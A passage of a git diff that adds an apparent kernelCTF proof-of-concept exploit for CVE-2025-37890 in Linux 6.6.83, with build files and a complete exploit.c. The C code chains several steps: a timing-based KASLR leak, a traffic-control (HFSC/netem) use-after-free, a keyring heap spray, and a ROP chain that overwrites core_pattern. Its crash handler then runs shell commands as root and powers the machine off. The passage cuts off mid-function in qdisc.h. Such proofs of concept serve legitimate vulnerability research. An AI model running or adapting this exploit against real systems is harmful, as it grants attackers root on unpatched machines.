$(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exp + +clean: + rm -f exp + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -rf $(LIBNFNETLINK_DIR) + rm -rf $(LIBNETFILTER_QUEUE_DIR) + rm -rf $(LIBIPTC_DIR) \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/build.sh b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/build.sh new file mode 100755 index 000000000..f84440717 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/build.sh @@ -0,0 +1,6 @@ +#!/bin/bash +set -euo pipefail +make exp + +mkdir -p out +cp exp out/ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit new file mode 100755 index 000000000..11cad7690 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit.c b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit.c new file mode 100644 index 000000000..ce123894c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/exploit.c @@ -0,0 +1,985 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* the L2 protocols */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Kernel base address +uint64_t g_kernel_base = 0xffffffff81000000; + +// 6.6.83 +// p &qfq_qdisc_ops.change +#define QFQ_CHANGE (0xffffffff83f97598 - 0xffffffff81000000 + g_kernel_base) +// 0xffffffff81e992ac: push rsi; jmp qword ptr [rsi-0x70]; +#define JOP_GADGET (0xffffffff81e9a2dc - 0xffffffff81000000 + g_kernel_base) +// 0xffffffff8115f8de: pop rsp; pop r15; ret; +#define ROP_GADGET (0xffffffff8115f91e - 0xffffffff81000000 + g_kernel_base) +#define POP_RDI (0xffffffff822e57ad - 0xffffffff81000000 + g_kernel_base) +#define POP_RSI (0xffffffff823fc56f - 0xffffffff81000000 + g_kernel_base) +#define POP_RDX (0xffffffff82471652 - 0xffffffff81000000 + g_kernel_base) +// _copy_from_user +#define COPY_FROM_USER (0xffffffff819abbc0 - 0xffffffff81000000 + g_kernel_base) +#define MSLEEP (0xffffffff8127b060 - 0xffffffff81000000 + g_kernel_base) +#define CORE_PATTERN (0xffffffff83db6840 - 0xffffffff81000000 + g_kernel_base) + +/* common utils */ +void fatal(const char *msg) +{ + printf("[Fatal!] "); + puts(msg); + fflush(stdout); + fflush(stderr); + exit(EXIT_FAILURE); +} + +#define SYSOK(x) ({ \ + typeof(x) __res = (x); \ + if (__res != (typeof(x))0) \ + err(1, "[fail] SYSOK(" #x ")"); \ + __res; \ +}) + +void set_cpu(int c) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(c, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +void mypause() +{ + printf("[~] pausing... (press enter to continue)\n"); + char scratch[11]; + read(0, scratch, 10); // wait for input +} +/* common utils end */ + +/*KASLR leak*/ +inline __attribute__((always_inline)) uint64_t rdtsc_begin() +{ + uint64_t a, d; + asm volatile("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() +{ + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +void prefetch(void *p) +{ + asm volatile( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r"(p)); +} + +size_t flushandreload(void *addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +#include +int cpu_is_intel(void) +{ + unsigned int eax, ebx, ecx, edx; + char vendor[13]; + + if (!__get_cpuid(0, &eax, &ebx, &ecx, &edx)) + return -1; + + memcpy(vendor + 0, &ebx, 4); + memcpy(vendor + 4, &edx, 4); + memcpy(vendor + 8, &ecx, 4); + vendor[12] = '\0'; + + if (strcmp(vendor, "GenuineIntel") == 0) + return 1; + + if (strcmp(vendor, "AuthenticAMD") == 0) + return 0; + + fatal("Unknown CPU type"); + return -1; +} + +#define ARRAY_LEN(x) ((int)(sizeof(x) / sizeof(x[0]))) +size_t kaslr_leak() +{ + const int is_cpu_intel = cpu_is_intel(); + uint64_t base; + if (is_cpu_intel) + { +#define OFFSET 0 +#define START_INTEL (0xffffffff81000000ull + OFFSET) +#define END_INTEL (0xffffffffD0000000ull + OFFSET) +#define STEP_INTEL 0x0000000001000000ull + while (1) + { + uint64_t bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_INTEL - START_INTEL) / STEP_INTEL] = {}; + uint64_t addrs[(END_INTEL - START_INTEL) / STEP_INTEL]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_INTEL + STEP_INTEL * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) + { + if (times[ti] < minv) + { + mini = ti; + minv = times[ti]; + } + } + + if (mini == (size_t)-1) + { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + else + { +#define START_AMD (0xffffffff81000000ull) +#define END_AMD (0xffffffffc0000000ull) +#define STEP_AMD 0x0000000000200000ull +#define NUM_TRIALS 9 +// largest contiguous mapped area at the beginning of _stext +#define WINDOW_SIZE 11 + + while (1) + { + uint64_t bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_AMD - START_AMD) / STEP_AMD] = {}; + uint64_t addrs[(END_AMD - START_AMD) / STEP_AMD]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_AMD + STEP_AMD * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) + { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) + { + sum += times[ti + i]; + } + if (sum > max) + { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + +got_base: + + return base; +} +/*KASLR leak end*/ + +// Unshare stuff +// Write to a file so we can set our user ids +int write_mapping(const char *path, const char *content) +{ + int fd = open(path, O_WRONLY); + if (fd == -1) + { + printf("Failed to open %s: %s\n", path, strerror(errno)); + return -1; + } + + if (write(fd, content, strlen(content)) != (ssize_t)strlen(content)) + { + printf("Failed to write to %s: %s\n", path, strerror(errno)); + close(fd); + return -1; + } + close(fd); + return 0; +} + +void setup_userns(void) +{ + // Unshare into new user namespace + if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) == -1) + { + printf("unshare failed: %s\n", strerror(errno)); + exit(-1); + } + + // First disable setgroups + if (write_mapping("/proc/self/setgroups", "deny") == -1) + { + printf("Failed to disable setgroups\n"); + exit(-1); + } + + // Then map our UID and GID + if (write_mapping("/proc/self/uid_map", "0 1000 1") == -1 || + write_mapping("/proc/self/gid_map", "0 1000 1") == -1) + { + printf("Failed to write ID mappings\n"); + exit(-1); + } +} + +/*netlink utils*/ +struct netlink_send_cb_struct +{ + void (*cb)(char *, size_t, void *); + void *cb_out; +}; + +int __netlink_send(int fd, const void *nlh, size_t size, char *nlbuf, size_t nlbuf_sz, int has_done_msg, struct netlink_send_cb_struct *cb_info) +{ + char nlbuf_cb_scratch[1024]; + struct iovec iov = { + .iov_base = (void *)nlh, + .iov_len = size, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + if (sendmsg(fd, &msg, 0) < 0) + { + perror("sendmsg()"); + return -1; + } + ssize_t ret = recvfrom(fd, nlbuf, nlbuf_sz, 0, NULL, NULL); + if (ret == -1) + { + perror("recvfrom()"); + return -1; + } + + if (has_done_msg) + { + ssize_t ret2 = recvfrom(fd, &nlbuf_cb_scratch, sizeof(nlbuf_cb_scratch), 0, NULL, NULL); // done msg TODO: not all requests have this... + if (ret2 == -1) + { + perror("recvfrom()"); + return -1; + } + } + + struct nlmsghdr *response_nlh = (struct nlmsghdr *)nlbuf; + { + struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(response_nlh); + if (err->error) + { + fprintf(stderr, "Netlink Result: %s\n", strerror(-err->error)); + return -err->error; + } + } + + if (cb_info) + cb_info->cb(nlbuf, ret, cb_info->cb_out); + return 0; +} + +int netlink_send(int fd, const struct nlmsghdr *nlh) +{ + char nlbuf[4096] = {0}; // Buffer to store the response + return __netlink_send(fd, nlh, nlh->nlmsg_len, nlbuf, sizeof(nlbuf), 0, NULL); +} + +int netlink_open(int proto) +{ + struct sockaddr_nl addr = {0}; + addr.nl_family = AF_NETLINK; + + int s = socket(AF_NETLINK, SOCK_RAW, proto); + if (s < 0) + { + perror("socket()"); + return s; + } + if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) + { + perror("bind()"); + return -1; + } + + return s; +} +/*netlink utils end*/ + +/*set interface up*/ +int set_interface_flags(int sock, const char *ifname, int flags, int change) +{ + struct + { + struct nlmsghdr nlh; + struct ifinfomsg ifm; + char buf[64]; + } req; + + // Prepare the netlink request + memset(&req, 0, sizeof(req)); + + // Setup the netlink header + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_SETLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + + // Setup the interface info message + req.ifm.ifi_family = AF_UNSPEC; + req.ifm.ifi_index = if_nametoindex(ifname); + if (req.ifm.ifi_index == 0) + { + perror("if_nametoindex"); + close(sock); + return -1; + } + + // Set the interface flags + req.ifm.ifi_change = change; + req.ifm.ifi_flags = flags; + + // Send the netlink message + struct sockaddr_nl nladdr = {0}; + struct iovec iov; + struct msghdr msg = {0}; + nladdr.nl_family = AF_NETLINK; + iov.iov_base = &req.nlh; + iov.iov_len = req.nlh.nlmsg_len; + msg.msg_name = &nladdr; + msg.msg_namelen = sizeof(nladdr); + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + if (sendmsg(sock, &msg, 0) < 0) + { + perror("send_netlink_message"); + close(sock); + return -1; + } + + // Read the ACK response + char buf[4096]; + int len; + struct nlmsghdr *resp_nlh; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) + { + perror("recv"); + close(sock); + return -1; + } + + resp_nlh = (struct nlmsghdr *)buf; + if (resp_nlh->nlmsg_type == NLMSG_ERROR) + { + struct nlmsgerr *err = NLMSG_DATA(resp_nlh); + if (err->error != 0) + { + fprintf(stderr, "Netlink error: %s\n", strerror(-err->error)); + close(sock); + return -1; + } + } + return 0; +} + +// Function to bring an interface up +int set_interface_up(int fd, const char *ifname) +{ + return set_interface_flags(fd, ifname, IFF_UP, IFF_UP); +} +/*set interface up end*/ + +/*requests*/ +int _send_req(int priority, int no_block) +{ + int sock; + struct sockaddr_in server; + + // Create UDP socket + sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock < 0) + { + perror("Failed to create socket"); + return 1; + } + + if (setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)) < 0) + { + perror("Failed to set socket priority"); + close(sock); + return 1; + } + + if (!no_block) + { + // Set socket to non-blocking mode + int flags = fcntl(sock, F_GETFL, 0); + if (flags < 0) + { + perror("Failed to get socket flags"); + close(sock); + return 1; + } + if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) + { + perror("Failed to set socket to non-blocking"); + close(sock); + return 1; + } + } + + // Configure server address + memset(&server, 0, sizeof(server)); + server.sin_family = AF_INET; + server.sin_port = htons(8888); + if (inet_pton(AF_INET, "127.0.0.1", &server.sin_addr) <= 0) + { + perror("Invalid address"); + close(sock); + return 1; + } + + // Send empty datagram + if (sendto(sock, "", 0, 0, (struct sockaddr *)&server, sizeof(server)) < 0) + { + perror("Failed to send"); + close(sock); + return 1; + } + + close(sock); + return 0; +} + +int send_req(int priority) +{ + return _send_req(priority, 0); +} + +int send_req_noblock(int priority) +{ + return _send_req(priority, 1); +} +/*requests end*/ + +/*util functions for tc*/ +int get_qdisc_handle(__u32 *h, const char *str) +{ + *h = 0; + __u32 maj; + char *p; + + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str || maj >= (1 << 16)) + return -1; + maj <<= 16; + if (*p != ':' && *p != 0) + return -1; +ok: + *h = maj; + return 0; +} + +int get_tc_classid(__u32 *h, const char *str) +{ + __u32 maj, min; + char *p; + + maj = TC_H_ROOT; + if (strcmp(str, "root") == 0) + goto ok; + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str) + { + maj = 0; + if (*p != ':') + return -1; + } + if (*p == ':') + { + if (maj >= (1 << 16)) + return -1; + maj <<= 16; + str = p + 1; + min = strtoul(str, &p, 16); + if (*p != 0) + return -1; + if (min >= (1 << 16)) + return -1; + maj |= min; + } + else if (*p != 0) + return -1; + +ok: + *h = maj; + return 0; +} + +static __u32 get_id(const char *s_class) +{ + if (s_class[strlen(s_class) - 1] == '0') + { + // eg 2.0 + __u32 result; + SYSOK(get_qdisc_handle(&result, s_class)); + return result; + } + else + { + // eg 2.1 + __u32 result; + SYSOK(get_tc_classid(&result, s_class)); + return result; + } +} +/*util functions for tc end*/ + +/*keyring section*/ +#define KEY_DESC_SIZE (0x200 - 0x18 + 1) +char key_desc[KEY_DESC_SIZE]; + +typedef int32_t key_serial_t; + +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) +{ + return syscall(__NR_add_key, type, description, payload, plen, ringid); +} + +key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) +{ + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + if (id_buffer == NULL) + fatal("calloc"); + + for (uint32_t i = start; i < start + spray_size; i++) + { + key_desc[0] = '\x01' + i; + id_buffer[i] = add_key("user", key_desc, key_desc, sizeof(key_desc), KEY_SPEC_PROCESS_KEYRING); + } + + return id_buffer; +} +/*keyring section end*/ + +#include "qdisc.h" + +/*exp code start*/ +int setup_uaf(const int netlink_fd) +{ + struct tc_service_curve fsc = { + .d = 1, + .m1 = UINT_MAX, + .m2 = UINT_MAX}; + SYSOK(create_qdisc_hfsc(netlink_fd, get_id("1:0"), TC_H_ROOT)); // parent is root + SYSOK(create_class_hfsc(netlink_fd, get_id("1:1"), get_id("1:0"), NULL, &fsc, NULL)); // no rsc + + SYSOK(create_class_hfsc(netlink_fd, get_id("1:2"), get_id("1:0"), NULL, &fsc, NULL)); // no rsc + SYSOK(create_qdisc_netem(netlink_fd, get_id("2:0"), get_id("1:1"))); + SYSOK(create_qdisc_pfifo(netlink_fd, get_id("3:0"), get_id("1:2"))); // doesn't matter what qdisc, as long as it is successful + SYSOK(send_req(get_id("1:1"))); + + puts("[~] deleting class"); + SYSOK(delete_class(netlink_fd, get_id("1:1"), get_id("1:0"), "drr")); + + return 0; +} + +void trigger_uaf() +{ + // enqueue into hfsc + SYSOK(send_req(get_id("1:2"))); + // qdisc_run triggers hfsc_dequeue(), which selects UAF class +} + +const char desired_core_pattern[] = "|/proc/%P/fd/666 %P"; +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {0}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, desired_core_pattern, strlen(desired_core_pattern)) == 0; +} + +void crash() +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); + dup2(memfd, 666); + close(memfd); + + while (check_core() == 0) + usleep(100); // 0.1ms + + *(size_t *)0 = 0; +} + +int new_qfq_qdisc(int sock_fd, __u32 my_handle, __u32 parent_handle, size_t buf1_len, const char *buf1, size_t buf2_len, const char *buf2) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "qfq"); + mnl_attr_put(nlh, TCA_OPTIONS, buf1_len, buf1); + mnl_attr_put(nlh, TCA_OPTIONS, buf2_len, buf2); + + return netlink_send(sock_fd, nlh); +} + +/* hfsc_class offsets (obtained from pahole) */ +// LTS 6.6.83 version +#define KEY_DESC_HEADER_SIZE 0x18 +#define LEVEL_OFFSET 96 +#define CL_PARENT_OFFSET 112 +#define VT_NODE_OFFSET 192 +#define CF_NODE_OFFSET 224 +#define CL_VT_OFFSET 280 +#define CL_CVTMIN_OFFSET 312 +#define CL_E_OFFSET 272 + +int prep_key_desc(size_t target, size_t write_val) +{ + /* Place fake hfsc_class in keydesc */ + memset(key_desc, 0, sizeof(key_desc)); + + /* hfsc_class.level = 1 (must be non-zero) */ + key_desc[LEVEL_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + /* hfsc_class.vt_node = 1 (must be odd) */ + key_desc[VT_NODE_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + /* hfsc_class.cf_node = 1 (must be odd) */ + key_desc[CF_NODE_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + + /* hfsc_class.cl_e > cur_time (fail eltree_get_mindl)*/ + *(size_t *)&key_desc[CL_E_OFFSET - KEY_DESC_HEADER_SIZE] = 0xffffffffffffffff; + + /* hfsc_class.parent = &qfq_change_qdisc (write target)*/ + *(size_t *)&key_desc[CL_PARENT_OFFSET - KEY_DESC_HEADER_SIZE] = target - CL_CVTMIN_OFFSET; + /* hfsc_class.cl_vt = jop_gadget (write value) */ + *(size_t *)&key_desc[CL_VT_OFFSET - KEY_DESC_HEADER_SIZE] = write_val; + + return 0; +} + +void core_pattern_handler(char **argv) +{ + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow */ + system("cat /flag;sleep 1;echo o>/proc/sysrq-trigger"); + exit(0); +} + +void prep_rop(char *payload1, char *payload2) +{ + *(size_t *)&payload1[0x10] = ROP_GADGET; + size_t *rop = (size_t *)&payload2[4]; + size_t x = 0; + rop[x++] = POP_RDI; + rop[x++] = CORE_PATTERN; + rop[x++] = POP_RSI; + rop[x++] = (size_t)&desired_core_pattern; + rop[x++] = POP_RDX; + rop[x++] = sizeof(desired_core_pattern); + rop[x++] = COPY_FROM_USER; + // msleep(0x10000); + rop[x++] = POP_RDI; + rop[x++] = 0x10000; + rop[x++] = MSLEEP; +} + +void trigger_qfq_change(const int netlink_fd, const char *payload1, size_t payload1_sz, const char *payload2, size_t payload2_sz) +{ + puts("[~] triggering qdisc change now"); + struct tc_service_curve rsc = { + .d = 1, + .m1 = UINT_MAX, + .m2 = UINT_MAX}; + // create class to attach qdisc to + SYSOK(create_class_hfsc(netlink_fd, get_id("1:6"), get_id("1:0"), &rsc, &rsc, NULL)); + // create qdisc + SYSOK(new_qfq_qdisc(netlink_fd, get_id("7:0"), get_id("1:6"), payload1_sz, payload1, payload2_sz, payload2)); + // trigger change + // before rsi is param1 contiguous, rsi = 4 hdr bytes + buf2 + SYSOK(new_qfq_qdisc(netlink_fd, get_id("7:0"), get_id("1:6"), payload1_sz, payload1, payload2_sz, payload2)); +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, 0, 2, 0); + if (argc > 1) + { + core_pattern_handler(argv); + } + + g_kernel_base = kaslr_leak(); + printf("[>] Kernel base address: 0x%lx\n", g_kernel_base); + + if (geteuid() != 0) + setup_userns(); + + set_cpu(0); // main exploit thread runs on CPU 0. others will run on CPU 1. + + const int netlink_fd = netlink_open(NETLINK_ROUTE); + if (netlink_fd < 0) + { + fprintf(stderr, "Failed to open Netlink socket\n"); + return EXIT_FAILURE; + } + + SYSOK(set_interface_up(netlink_fd, "lo")); + + // used when spraying later + prep_key_desc(QFQ_CHANGE, JOP_GADGET); + + puts("[+] prepping UAF"); + setup_uaf(netlink_fd); + + puts("[+] spraying slab to reclaim with key_desc"); + spray_keyring(0, 30); + + puts("[+] sending request, will trigger hfsc dequeue"); + trigger_uaf(); + + puts("[~] forking process for core_pattern exp later"); + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + crash(); + } + + char payload1[0x80] = {0}; + char payload2[0x80] = {0}; + prep_rop(payload1, payload2); + + trigger_qfq_change(netlink_fd, payload1, sizeof(payload1), payload2, sizeof(payload2)); + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/qdisc.h b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/qdisc.h new file mode 100644 index 000000000..4d4257210 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/qdisc.h @@ -0,0 +1,171 @@ +#ifndef PWN_QDISC_H +#define PWN_QDISC_H + +char *PWN_TC_QDISC_INTERFACE = "lo"; + +int create_qdisc_pfifo(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "pfifo"); + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_hfsc(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + + struct tc_hfsc_qopt qopt = {}; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + return netlink_send(sock_fd, nlh); +} + +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) + +int create_qdisc_netem(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "netem"); + + // copied from iproute2-tc q_netem.c because this protocol has a different parser + struct rtattr *tail = NLMSG_TAIL(nlh); + + struct tc_netem_qopt qopt = { + .limit = 10, // doesn't matter as long as we can enqueue 2 packets + .latency = 0, + .jitter = 0, + .loss = 0, + .gap = 0, + .duplicate = ~0, // always duplicate + }; + + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + tail->rta_len = (void *)NLMSG_TAIL(nlh) - (void *)tail; + + return netlink_send(sock_fd, nlh); +} + +int create_class(const int sock_fd, const __u32 child_handle, const __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "drr"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int create_class_hfsc(const int sock_fd, const __u32 child_handle, const __u32 parent_handle, 